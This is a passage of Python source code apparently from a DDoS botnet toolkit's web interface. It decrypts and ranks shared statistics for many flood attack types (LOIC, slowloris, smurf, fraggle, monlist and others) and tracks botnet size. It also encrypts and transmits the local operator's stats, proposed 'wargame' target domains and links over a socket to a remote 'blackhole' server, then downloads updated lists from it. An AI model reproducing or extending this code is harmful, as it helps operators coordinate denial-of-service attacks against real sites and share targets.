  5462. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  5463. self.decrypt(grid_key, grid_pinger)
  5464. if self.decryptedtext:
  5465. try:
  5466. grid_pinger = int(self.decryptedtext)
  5467. except:
  5468. grid_pinger = nodec_num
  5469. else:
  5470. grid_pinger = nodec_num
  5471. self.decryptedtext = "" # clean decryptedtext buffer
  5472. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  5473. self.decrypt(grid_key, grid_ufoudp)
  5474. if self.decryptedtext:
  5475. try:
  5476. grid_ufoudp = int(self.decryptedtext)
  5477. except:
  5478. grid_ufoudp = nodec_num
  5479. else:
  5480. grid_ufoudp = nodec_num
  5481. self.decryptedtext = "" # clean decryptedtext buffer
  5482. if version > 17:
  5483. grid_contact = m[25] # contact
  5484. self.decrypt(grid_key, grid_contact)
  5485. if self.decryptedtext:
  5486. grid_contact = self.decryptedtext
  5487. else:
  5488. grid_contact = nodec_text
  5489. self.decryptedtext = "" # clean decryptedtext buffer
  5490. grid_id = m[26] # id
  5491. elif version == 17:
  5492. grid_contact = m[16] # contact
  5493. self.decrypt(grid_key, grid_contact)
  5494. if self.decryptedtext:
  5495. grid_contact = self.decryptedtext
  5496. else:
  5497. grid_contact = nodec_text
  5498. self.decryptedtext = "" # clean decryptedtext buffer
  5499. grid_id = m[17] # id
  5500. elif version == 16:
  5501. grid_contact = m[15] # contact
  5502. self.decrypt(grid_key, grid_contact)
  5503. if self.decryptedtext:
  5504. grid_contact = self.decryptedtext
  5505. else:
  5506. grid_contact = nodec_text
  5507. self.decryptedtext = "" # clean decryptedtext buffer
  5508. grid_id = m[16] # id
  5509. elif version == 15:
  5510. grid_contact = m[14] # contact
  5511. self.decrypt(grid_key, grid_contact)
  5512. if self.decryptedtext:
  5513. grid_contact = self.decryptedtext
  5514. else:
  5515. grid_contact = nodec_text
  5516. self.decryptedtext = "" # clean decryptedtext buffer
  5517. grid_id = m[15] # id
  5518. elif version == 12:
  5519. grid_contact = m[11] # contact
  5520. self.decrypt(grid_key, grid_contact)
  5521. if self.decryptedtext:
  5522. grid_contact = self.decryptedtext
  5523. else:
  5524. grid_contact = nodec_text
  5525. self.decryptedtext = "" # clean decryptedtext buffer
  5526. grid_id = m[12] # id
  5527. elif version == 11:
  5528. grid_contact = m[10] # contact
  5529. self.decrypt(grid_key, grid_contact)
  5530. if self.decryptedtext:
  5531. grid_contact = self.decryptedtext
  5532. else:
  5533. grid_contact = nodec_text
  5534. self.decryptedtext = "" # clean decryptedtext buffer
  5535. grid_id = m[11] # id
  5536. elif version == 10:
  5537. grid_contact = m[9] # contact
  5538. self.decrypt(grid_key, grid_contact)
  5539. if self.decryptedtext:
  5540. grid_contact = self.decryptedtext
  5541. else:
  5542. grid_contact = nodec_text
  5543. self.decryptedtext = "" # clean decryptedtext buffer
  5544. grid_id = m[10] # id
  5545. else:
  5546. grid_contact = nodec_text
  5547. grid_id = '6666666666666666666666666666666666666' # fake id
  5548. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  5549. if grid_filter == "nickname":
  5550. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  5551. elif grid_filter == "ranking":
  5552. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  5553. elif grid_filter == "chargo":
  5554. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  5555. elif grid_filter == "dorking":
  5556. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  5557. elif grid_filter == "transferred":
  5558. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  5559. elif grid_filter == "maxchargo":
  5560. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  5561. elif grid_filter == "missions":
  5562. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  5563. elif grid_filter == "attacks":
  5564. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  5565. elif grid_filter == "loic":
  5566. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  5567. elif grid_filter == "loris":
  5568. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  5569. elif grid_filter == "ufosyn":
  5570. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  5571. elif grid_filter == "spray":
  5572. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  5573. elif grid_filter == "smurf":
  5574. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  5575. elif grid_filter == "xmas":
  5576. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  5577. elif grid_filter == "nuke":
  5578. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  5579. elif grid_filter == "tachyon":
  5580. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  5581. elif grid_filter == "monlist":
  5582. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  5583. elif grid_filter == "fraggle":
  5584. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  5585. elif grid_filter == "sniper":
  5586. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  5587. elif grid_filter == "ufoack":
  5588. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  5589. elif grid_filter == "uforst":
  5590. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  5591. elif grid_filter == "droper":
  5592. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  5593. elif grid_filter == "overlap":
  5594. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  5595. elif grid_filter == "pinger":
  5596. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  5597. elif grid_filter == "ufoudp":
  5598. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  5599. elif grid_filter == "contact":
  5600. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  5601. else:
  5602. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  5603. for i in grid_items:
  5604. grid_nickname = str(i[0])
  5605. self.encrypt(grid_key, grid_nickname)
  5606. if self.encryptedtext:
  5607. grid_nickname = self.encryptedtext
  5608. self.encryptedtext = "" # clean encryptedtext buffer
  5609. grid_ranking = str(i[1])
  5610. self.encrypt(grid_key, grid_ranking)
  5611. if self.encryptedtext:
  5612. grid_ranking = self.encryptedtext
  5613. self.encryptedtext = "" # clean encryptedtext buffer
  5614. grid_totalchargo = str(i[2])
  5615. self.encrypt(grid_key, grid_totalchargo)
  5616. if self.encryptedtext:
  5617. grid_totalchargo = self.encryptedtext
  5618. self.encryptedtext = "" # clean encryptedtext buffer
  5619. grid_dorking = str(i[3])
  5620. self.encrypt(grid_key, grid_dorking)
  5621. if self.encryptedtext:
  5622. grid_dorking = self.encryptedtext
  5623. self.encryptedtext = "" # clean encryptedtext buffer
  5624. grid_transferred = str(i[4])
  5625. self.encrypt(grid_key, grid_transferred)
  5626. if self.encryptedtext:
  5627. grid_transferred = self.encryptedtext
  5628. self.encryptedtext = "" # clean encryptedtext buffer
  5629. grid_maxchargo = str(i[5])
  5630. self.encrypt(grid_key, grid_maxchargo)
  5631. if self.encryptedtext:
  5632. grid_maxchargo = self.encryptedtext
  5633. self.encryptedtext = "" # clean encryptedtext buffer
  5634. grid_missions = str(i[6])
  5635. self.encrypt(grid_key, grid_missions)
  5636. if self.encryptedtext:
  5637. grid_missions = self.encryptedtext
  5638. self.encryptedtext = "" # clean encryptedtext buffer
  5639. grid_attacks = str(i[7])
  5640. self.encrypt(grid_key, grid_attacks)
  5641. if self.encryptedtext:
  5642. grid_attacks = self.encryptedtext
  5643. self.encryptedtext = "" # clean encryptedtext buffer
  5644. grid_loic = str(i[8])
  5645. self.encrypt(grid_key, grid_loic)
  5646. if self.encryptedtext:
  5647. grid_loic = self.encryptedtext
  5648. self.encryptedtext = "" # clean encryptedtext buffer
  5649. grid_loris = str(i[9])
  5650. self.encrypt(grid_key, grid_loris)
  5651. if self.encryptedtext:
  5652. grid_loris = self.encryptedtext
  5653. self.encryptedtext = "" # clean encryptedtext buffer
  5654. grid_ufosyn = str(i[10])
  5655. self.encrypt(grid_key, grid_ufosyn)
  5656. if self.encryptedtext:
  5657. grid_ufosyn = self.encryptedtext
  5658. self.encryptedtext = "" # clean encryptedtext buffer
  5659. grid_spray = str(i[11])
  5660. self.encrypt(grid_key, grid_spray)
  5661. if self.encryptedtext:
  5662. grid_spray = self.encryptedtext
  5663. self.encryptedtext = "" # clean encryptedtext buffer
  5664. grid_smurf = str(i[12])
  5665. self.encrypt(grid_key, grid_smurf)
  5666. if self.encryptedtext:
  5667. grid_smurf = self.encryptedtext
  5668. self.encryptedtext = "" # clean encryptedtext buffer
  5669. grid_xmas = str(i[13])
  5670. self.encrypt(grid_key, grid_xmas)
  5671. if self.encryptedtext:
  5672. grid_xmas = self.encryptedtext
  5673. self.encryptedtext = "" # clean encryptedtext buffer
  5674. grid_nuke = str(i[14])
  5675. self.encrypt(grid_key, grid_nuke)
  5676. if self.encryptedtext:
  5677. grid_nuke = self.encryptedtext
  5678. self.encryptedtext = "" # clean encryptedtext buffer
  5679. grid_tachyon = str(i[15])
  5680. self.encrypt(grid_key, grid_tachyon)
  5681. if self.encryptedtext:
  5682. grid_tachyon = self.encryptedtext
  5683. self.encryptedtext = "" # clean encryptedtext buffer
  5684. grid_monlist = str(i[16])
  5685. self.encrypt(grid_key, grid_monlist)
  5686. if self.encryptedtext:
  5687. grid_monlist = self.encryptedtext
  5688. self.encryptedtext = "" # clean encryptedtext buffer
  5689. grid_fraggle = str(i[17])
  5690. self.encrypt(grid_key, grid_fraggle)
  5691. if self.encryptedtext:
  5692. grid_fraggle = self.encryptedtext
  5693. self.encryptedtext = "" # clean encryptedtext buffer
  5694. grid_sniper = str(i[18])
  5695. self.encrypt(grid_key, grid_sniper)
  5696. if self.encryptedtext:
  5697. grid_sniper = self.encryptedtext
  5698. self.encryptedtext = "" # clean encryptedtext buffer
  5699. grid_ufoack = str(i[19])
  5700. self.encrypt(grid_key, grid_ufoack)
  5701. if self.encryptedtext:
  5702. grid_ufoack = self.encryptedtext
  5703. self.encryptedtext = "" # clean encryptedtext buffer
  5704. grid_uforst = str(i[20])
  5705. self.encrypt(grid_key, grid_uforst)
  5706. if self.encryptedtext:
  5707. grid_uforst = self.encryptedtext
  5708. self.encryptedtext = "" # clean encryptedtext buffer
  5709. grid_droper = str(i[21])
  5710. self.encrypt(grid_key, grid_droper)
  5711. if self.encryptedtext:
  5712. grid_droper = self.encryptedtext
  5713. self.encryptedtext = "" # clean encryptedtext buffer
  5714. grid_overlap = str(i[22])
  5715. self.encrypt(grid_key, grid_overlap)
  5716. if self.encryptedtext:
  5717. grid_overlap = self.encryptedtext
  5718. self.encryptedtext = "" # clean encryptedtext buffer
  5719. grid_pinger = str(i[23])
  5720. self.encrypt(grid_key, grid_pinger)
  5721. if self.encryptedtext:
  5722. grid_pinger = self.encryptedtext
  5723. self.encryptedtext = "" # clean encryptedtext buffer
  5724. grid_ufoudp = str(i[24])
  5725. self.encrypt(grid_key, grid_ufoudp)
  5726. if self.encryptedtext:
  5727. grid_ufoudp = self.encryptedtext
  5728. self.encryptedtext = "" # clean encryptedtext buffer
  5729. grid_contact = str(i[25])
  5730. self.encrypt(grid_key, grid_contact)
  5731. if self.encryptedtext:
  5732. grid_contact = self.encryptedtext
  5733. self.encryptedtext = "" # clean encryptedtext buffer
  5734. grid_id = str(i[26]) # id (plain id)
  5735. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  5736. f.write(l + os.linesep)
  5737. f.close()
  5738. except:
  5739. pass
  5740. if page == "/cmd_grid_filter_update":
  5741. if not os.path.exists('/tmp/out'):
  5742. open('/tmp/out', 'w').close()
  5743. with open('/tmp/out', 'r') as f:
  5744. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  5745. if page == "/cmd_transfer_grid":
  5746. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5747. blackhole_ip = pGet["grid_source"]
  5748. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5749. try:
  5750. grid_key = pGet["grid_key"]
  5751. except:
  5752. grid_key = ""
  5753. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5754. if grid_key != "": # stream creation + encryption + package send
  5755. try:
  5756. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  5757. grid_data = json.load(grid_json_file)
  5758. grid_json_file.close()
  5759. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  5760. stats_data = json.load(stats_json_file)
  5761. stats_json_file.close()
  5762. nickname = grid_data["grid_nick"].encode('utf-8')
  5763. self.encrypt(grid_key, nickname)
  5764. if self.encryptedtext:
  5765. nickname = self.encryptedtext
  5766. self.encryptedtext = "" # clean encryptedtext buffer
  5767. ranking = self.ranking
  5768. if ranking == "Rookie":
  5769. ranking = 1
  5770. elif ranking == "Mercenary":
  5771. ranking = 2
  5772. elif ranking == "Bandit":
  5773. ranking = 3
  5774. elif ranking == "UFOmmander!":
  5775. ranking = 4
  5776. elif ranking == "UFOl33t!":
  5777. ranking = 5
  5778. else:
  5779. ranking = 1
  5780. self.encrypt(grid_key, str(ranking))
  5781. if self.encryptedtext:
  5782. ranking = self.encryptedtext
  5783. self.encryptedtext = "" # clean encryptedtext buffer
  5784. chargo = self.total_botnet
  5785. self.encrypt(grid_key, str(chargo))
  5786. if self.encryptedtext:
  5787. chargo = self.encryptedtext
  5788. self.encryptedtext = "" # clean encryptedtext buffer
  5789. dorking = stats_data["scanner"]
  5790. self.encrypt(grid_key, str(dorking))
  5791. if self.encryptedtext:
  5792. dorking = self.encryptedtext
  5793. self.encryptedtext = "" # clean encryptedtext buffer
  5794. transferred = stats_data["transferred"]
  5795. self.encrypt(grid_key, str(transferred))
  5796. if self.encryptedtext:
  5797. transferred = self.encryptedtext
  5798. self.encryptedtext = "" # clean encryptedtext buffer
  5799. max_chargo = stats_data["max_chargo"]
  5800. self.encrypt(grid_key, str(max_chargo))
  5801. if self.encryptedtext:
  5802. max_chargo = self.encryptedtext
  5803. self.encryptedtext = "" # clean encryptedtext buffer
  5804. missions = stats_data["missions"]
  5805. self.encrypt(grid_key, str(missions))
  5806. if self.encryptedtext:
  5807. missions = self.encryptedtext
  5808. self.encryptedtext = "" # clean encryptedtext buffer
  5809. attacks = stats_data["completed"]
  5810. self.encrypt(grid_key, str(attacks))
  5811. if self.encryptedtext:
  5812. attacks = self.encryptedtext
  5813. self.encryptedtext = "" # clean encryptedtext buffer
  5814. loic = stats_data["loic"]
  5815. self.encrypt(grid_key, str(loic))
  5816. if self.encryptedtext:
  5817. loic = self.encryptedtext
  5818. self.encryptedtext = "" # clean encryptedtext buffer
  5819. loris = stats_data["loris"]
  5820. self.encrypt(grid_key, str(loris))
  5821. if self.encryptedtext:
  5822. loris = self.encryptedtext
  5823. self.encryptedtext = "" # clean encryptedtext buffer
  5824. ufosyn = stats_data["ufosyn"]
  5825. self.encrypt(grid_key, str(ufosyn))
  5826. if self.encryptedtext:
  5827. ufosyn = self.encryptedtext
  5828. self.encryptedtext = "" # clean encryptedtext buffer
  5829. spray = stats_data["spray"]
  5830. self.encrypt(grid_key, str(spray))
  5831. if self.encryptedtext:
  5832. spray = self.encryptedtext
  5833. self.encryptedtext = "" # clean encryptedtext buffer
  5834. smurf = stats_data["smurf"]
  5835. self.encrypt(grid_key, str(smurf))
  5836. if self.encryptedtext:
  5837. smurf = self.encryptedtext
  5838. self.encryptedtext = "" # clean encryptedtext buffer
  5839. xmas = stats_data["xmas"]
  5840. self.encrypt(grid_key, str(xmas))
  5841. if self.encryptedtext:
  5842. xmas = self.encryptedtext
  5843. self.encryptedtext = "" # clean encryptedtext buffer
  5844. nuke = stats_data["nuke"]
  5845. self.encrypt(grid_key, str(nuke))
  5846. if self.encryptedtext:
  5847. nuke = self.encryptedtext
  5848. self.encryptedtext = "" # clean encryptedtext buffer
  5849. tachyon = stats_data["tachyon"]
  5850. self.encrypt(grid_key, str(tachyon))
  5851. if self.encryptedtext:
  5852. tachyon = self.encryptedtext
  5853. self.encryptedtext = "" # clean encryptedtext buffer
  5854. monlist = stats_data["monlist"]
  5855. self.encrypt(grid_key, str(monlist))
  5856. if self.encryptedtext:
  5857. monlist = self.encryptedtext
  5858. self.encryptedtext = "" # clean encryptedtext buffer
  5859. fraggle = stats_data["fraggle"]
  5860. self.encrypt(grid_key, str(fraggle))
  5861. if self.encryptedtext:
  5862. fraggle = self.encryptedtext
  5863. self.encryptedtext = "" # clean encryptedtext buffer
  5864. sniper = stats_data["sniper"]
  5865. self.encrypt(grid_key, str(sniper))
  5866. if self.encryptedtext:
  5867. sniper = self.encryptedtext
  5868. self.encryptedtext = "" # clean encryptedtext buffer
  5869. ufoack = stats_data["ufoack"]
  5870. self.encrypt(grid_key, str(ufoack))
  5871. if self.encryptedtext:
  5872. ufoack = self.encryptedtext
  5873. self.encryptedtext = "" # clean encryptedtext buffer
  5874. uforst = stats_data["uforst"]
  5875. self.encrypt(grid_key, str(uforst))
  5876. if self.encryptedtext:
  5877. uforst = self.encryptedtext
  5878. self.encryptedtext = "" # clean encryptedtext buffer
  5879. droper = stats_data["droper"]
  5880. self.encrypt(grid_key, str(droper))
  5881. if self.encryptedtext:
  5882. droper = self.encryptedtext
  5883. self.encryptedtext = "" # clean encryptedtext buffer
  5884. overlap = stats_data["overlap"]
  5885. self.encrypt(grid_key, str(overlap))
  5886. if self.encryptedtext:
  5887. overlap = self.encryptedtext
  5888. self.encryptedtext = "" # clean encryptedtext buffer
  5889. pinger = stats_data["pinger"]
  5890. self.encrypt(grid_key, str(pinger))
  5891. if self.encryptedtext:
  5892. pinger = self.encryptedtext
  5893. self.encryptedtext = "" # clean encryptedtext buffer
  5894. ufoudp = stats_data["ufoudp"]
  5895. self.encrypt(grid_key, str(ufoudp))
  5896. if self.encryptedtext:
  5897. ufoudp = self.encryptedtext
  5898. self.encryptedtext = "" # clean encryptedtext buffer
  5899. contact = grid_data["grid_contact"].encode('utf-8')
  5900. self.encrypt(grid_key, str(contact))
  5901. if self.encryptedtext:
  5902. contact = self.encryptedtext
  5903. self.encryptedtext = "" # clean encryptedtext buffer
  5904. id = grid_data["grid_token"] # plain text
  5905. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  5906. try:
  5907. host = blackhole_ip
  5908. cport = 9992 # port used by mothership grider (server side script)
  5909. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5910. gs.settimeout(5.0)
  5911. gs.connect((host, cport))
  5912. gs.send(stream.encode())
  5913. gs.close()
  5914. try: # download latest grid after submit
  5915. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  5916. f = open(self.grid_file, "w") # write updates to grid.txt
  5917. f.write(grid)
  5918. f.close()
  5919. except:
  5920. pass
  5921. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  5922. except:
  5923. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5924. except:
  5925. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5926. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5927. f = open("/tmp/out", "w")
  5928. f.write(grid_trans)
  5929. f.write(end_mark)
  5930. f.close()
  5931. if page == "/cmd_transfer_grid_update":
  5932. if not os.path.exists('/tmp/out'):
  5933. open('/tmp/out', 'w').close()
  5934. with open('/tmp/out', 'r') as f:
  5935. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  5936. if page == "/cmd_transfer_wargame":
  5937. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5938. blackhole_ip = pGet["wargames_source2"]
  5939. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5940. try:
  5941. wargames_enckey = pGet["wargames_enckey"]
  5942. except:
  5943. wargames_enckey = ""
  5944. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5945. wargames_target = pGet["wargames_target"]
  5946. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  5947. t = urlparse(wargames_target)
  5948. wargames_target = t.netloc
  5949. else:
  5950. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  5951. wargames_enckey = ""
  5952. if wargames_target.startswith("www."):
  5953. wargames_target = wargames_target.replace("www.","")
  5954. wargames_estimated = pGet["wargames_estimated"]
  5955. try:
  5956. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5957. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5958. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  5959. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  5960. wargames_enckey = ""
  5961. except:
  5962. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  5963. wargames_enckey = ""
  5964. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5965. if wargames_enckey != "": # stream creation + encryption + package send
  5966. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5967. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5968. try:
  5969. self.encrypt(wargames_enckey, wargames_creation)
  5970. if self.encryptedtext:
  5971. wargames_creation = self.encryptedtext
  5972. self.encryptedtext = "" # clean encryptedtext buffer
  5973. self.encrypt(wargames_enckey, wargames_target)
  5974. if self.encryptedtext:
  5975. wargames_target = self.encryptedtext
  5976. self.encryptedtext = "" # clean encryptedtext buffer
  5977. self.encrypt(wargames_enckey, wargames_estimated)
  5978. if self.encryptedtext:
  5979. wargames_estimated = self.encryptedtext
  5980. self.encryptedtext = "" # clean encryptedtext buffer
  5981. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  5982. try:
  5983. host = blackhole_ip
  5984. cport = 9992 # port used by mothership grider (server side script)
  5985. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5986. gs.settimeout(5.0)
  5987. gs.connect((host, cport))
  5988. gs.send(stream.encode())
  5989. gs.close()
  5990. try: # download latest wargames after submit
  5991. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  5992. f = open(self.wargames_file, "w") # write updates to wargames.txt
  5993. f.write(wargames)
  5994. f.close()
  5995. except:
  5996. pass
  5997. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  5998. except:
  5999. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6000. except:
  6001. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6002. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6003. f = open("/tmp/out", "w")
  6004. f.write(wargames_trans)
  6005. f.write(end_mark)
  6006. f.close()
  6007. if page == "/cmd_transfer_wargame_update":
  6008. if not os.path.exists('/tmp/out'):
  6009. open('/tmp/out', 'w').close()
  6010. with open('/tmp/out', 'r') as f:
  6011. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  6012. if page == "/cmd_transfer_link":
  6013. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6014. blackhole_ip = pGet["link_source2"]
  6015. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6016. try:
  6017. link_enckey = pGet["link_enckey"]
  6018. except:
  6019. link_enckey = ""
  6020. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6021. link_url = pGet["link_url"]
  6022. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  6023. pass
  6024. else:
  6025. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  6026. link_enckey = ""
  6027. if link_url.startswith("www."):
  6028. link_url = link_url.replace("www.","")
  6029. link_topic = pGet["link_topic"]
  6030. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6031. if link_enckey != "": # stream creation + encryption + package send
  6032. try:
  6033. self.encrypt(link_enckey, link_creation)
  6034. if self.encryptedtext:
  6035. link_creation = self.encryptedtext
  6036. self.encryptedtext = "" # clean encryptedtext buffer
  6037. self.encrypt(link_enckey, link_url)
  6038. if self.encryptedtext:
  6039. link_url = self.encryptedtext
  6040. self.encryptedtext = "" # clean encryptedtext buffer
  6041. self.encrypt(link_enckey, link_topic)
  6042. if self.encryptedtext:
  6043. link_topic = self.encryptedtext
  6044. self.encryptedtext = "" # clean encryptedtext buffer
  6045. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  6046. try:
  6047. host = blackhole_ip
  6048. cport = 9992 # port used by mothership grider (server side script)
  6049. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6050. gs.settimeout(5.0)
  6051. gs.connect((host, cport))
  6052. gs.send(stream.encode())
  6053. gs.close()
  6054. try: # download latest links after submit
  6055. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  6056. f = open(self.links_file, "w") # write updates to links.txt
  6057. f.write(links)
  6058. f.close()
  6059. except:
  6060. pass
  6061. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  6062. except:
  6063. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6064. except:
  6065. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6066. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6067. f = open("/tmp/out", "w")
  6068. f.write(links_trans)
  6069. f.write(end_mark)
  6070. f.close()
  6071. if page == "/cmd_transfer_link_update":
  6072. if not os.path.exists('/tmp/out'):
  6073. open('/tmp/out', 'w').close()
  6074. with open('/tmp/out', 'r') as f:
  6075. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  6076. if page == "/cmd_transfer_stream":
  6077. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6078. blackhole_ip = pGet["stream_source2"]
  6079. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6080. try:
  6081. stream_enckey = pGet["stream_enckey"]
  6082. except:
  6083. stream_enckey = ""
  6084. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6085. stream_url = pGet["stream_url"]
  6086. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  6087. pass
  6088. else:
  6089. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  6090. stream_enckey = ""
  6091. if stream_url.startswith("www."):
  6092. stream_url = stream_url.replace("www.","")
  6093. stream_topic = pGet["stream_topic"]
  6094. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6095. if stream_enckey != "": # stream creation + encryption + package send
  6096. try:
  6097. self.encrypt(stream_enckey, stream_creation)
  6098. if self.encryptedtext:
  6099. stream_creation = self.encryptedtext
  6100. self.encryptedtext = "" # clean encryptedtext buffer
  6101. self.encrypt(stream_enckey, stream_url)
  6102. if self.encryptedtext:
  6103. stream_url = self.encryptedtext
  6104. self.encryptedtext = "" # clean encryptedtext buffer
  6105. self.encrypt(stream_enckey, stream_topic)
  6106. if self.encryptedtext:
  6107. stream_topic = self.encryptedtext
